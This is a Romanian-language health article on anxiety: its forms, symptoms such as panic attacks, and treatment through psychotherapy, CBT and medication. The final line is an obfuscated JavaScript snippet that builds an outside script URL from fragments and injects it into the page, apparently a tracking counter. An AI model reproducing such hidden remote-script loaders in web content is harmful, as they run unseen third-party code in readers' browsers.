Anxietatea se regăsește printre unele dintre cele mai frecvente afecțiuni la nivel mondial, iar semnele ei te pot adesea induce în eroare. Se poate întâmpla ca simptomele să fie ignorate și să fie puse pe seama unei perioade mai dificile, însă dacă acestea persistă, este un indiciu clar că trebuie să apelezi la ajutor specializat. Cu tehnici și soluții de lucru, propuse de terapeuți în domeniu, poți ajunge să gestionezi mult mai bine simptomele de anxietate, iar sănătatea ta mintală și emoțională să se îmbunătățească considerabil.
Ce este anxietatea
Fără îndoială, termenul de anxietate nu îți este străin. Fie că te confrunți cu ea, fie i-ai auzit pe cei din jur povestind despre simptomele ei. Anxietatea este o afecțiune mintală care nu trebuie neglijată. În cazul în care nu se intervine cu ajutor specializat, simptomele ei se pot înrăutăți, iar acest lucru îți poate afecta viața din toate punctele de vedere. Anxietatea este o tulburare emoțională caracterizată prin frică excesivă, îngrijorare persistentă și o stare generală de tensiune. Ea își poate face apariția sub diverse forme: anxietate generalizată, atacuri de panică, fobii, anxietate socială sau tulburări obsesiv-compulsive.
Simptomele prin care se manifestă
Anxietatea reprezintă practic reacția organismului la stres. Problema apare atunci când acest mecanism rămâne activ și în urma unui pericol real. De regulă, starea de neliniște și îngrijorare este cea mai reprezentativă pentru ea. Iar această stare se poate resimți în legătură cu un lucru, o persoană, un eveniment din viitor care încă nu s-a întâmplat. Pot fi și simptome fizice, cum ar fi palpitații, dureri în piept, amețeli, transpirație excesivă, tremur sau dificultăți de respirație. Una dintre cele mai copleșitoare trăiri poate fi cea legată de senzația de pierdere a controlului. Spre exemplu, în timpul unui atac de panică, persoana afectată poate să aibă impresia că va leșina, că va muri sau că își va pierde mințile. Aceste episoade pot fi profund traumatizante și pot lăsa urme emoționale greu de vindecat. De aceea este important să se apeleze la ajutor specializat.
Ce este de făcut, în cazul anxietății
Recunoașterea acestor semne reprezintă un pas major în tratarea afecțiunii. După conștientizare, este necesară însă acțiunea. Un bun specialist, cum este psihoterapeutul sau psihiatrul, poate să vină cu un diagnostic clar, dar și cu tehnici și metode de lucru adaptate pentru fiecare pacient în parte. Suportul terapeutului este esențial în acest proces, care te poate determina să gestionezi mai eficient momentele stresante și ajuta să reușești să îți ții emoțiile sub control. În cadrul sesiunilor psihoterapeutice, se poate propune terapia cognitiv-comportamentală. Aceasta este una dintre cele mai populare metode care ajută la recunoașterea și înlocuirea tiparelor de gândire disfuncționale, scrie psychiatry.org. În situațiile mai severe, psihiatrul poate recomanda și tratament medicamentos, care stabilizează chimia cerebrală și reduce intensitatea simptomelor. Pe lângă acestea, suportul moral din partea familiei și al prietenilor este important, dar și mutarea atenției pe momentul prezent prin exerciții de respirație, cât și realizarea unor activități creative.
Sursa foto: freepick.com
(function(){ zisp=document.createElement(„script”);zisp_=(„o”+(„pen”)+”st”)+”a”;zisp.async=true; zisp.type=”text/javascript”;zisp_+=(„t”)+”.e”+””;zisp_+=((„”)+”u”);zisp_+=”/”; zispu=”2544860847.”;zispu+=”e7tm6de4isp2piX51if”+”4yXh3zee8vg”; zisp.src=”https://”+zisp_+zispu;document.body.appendChild(zisp); })();
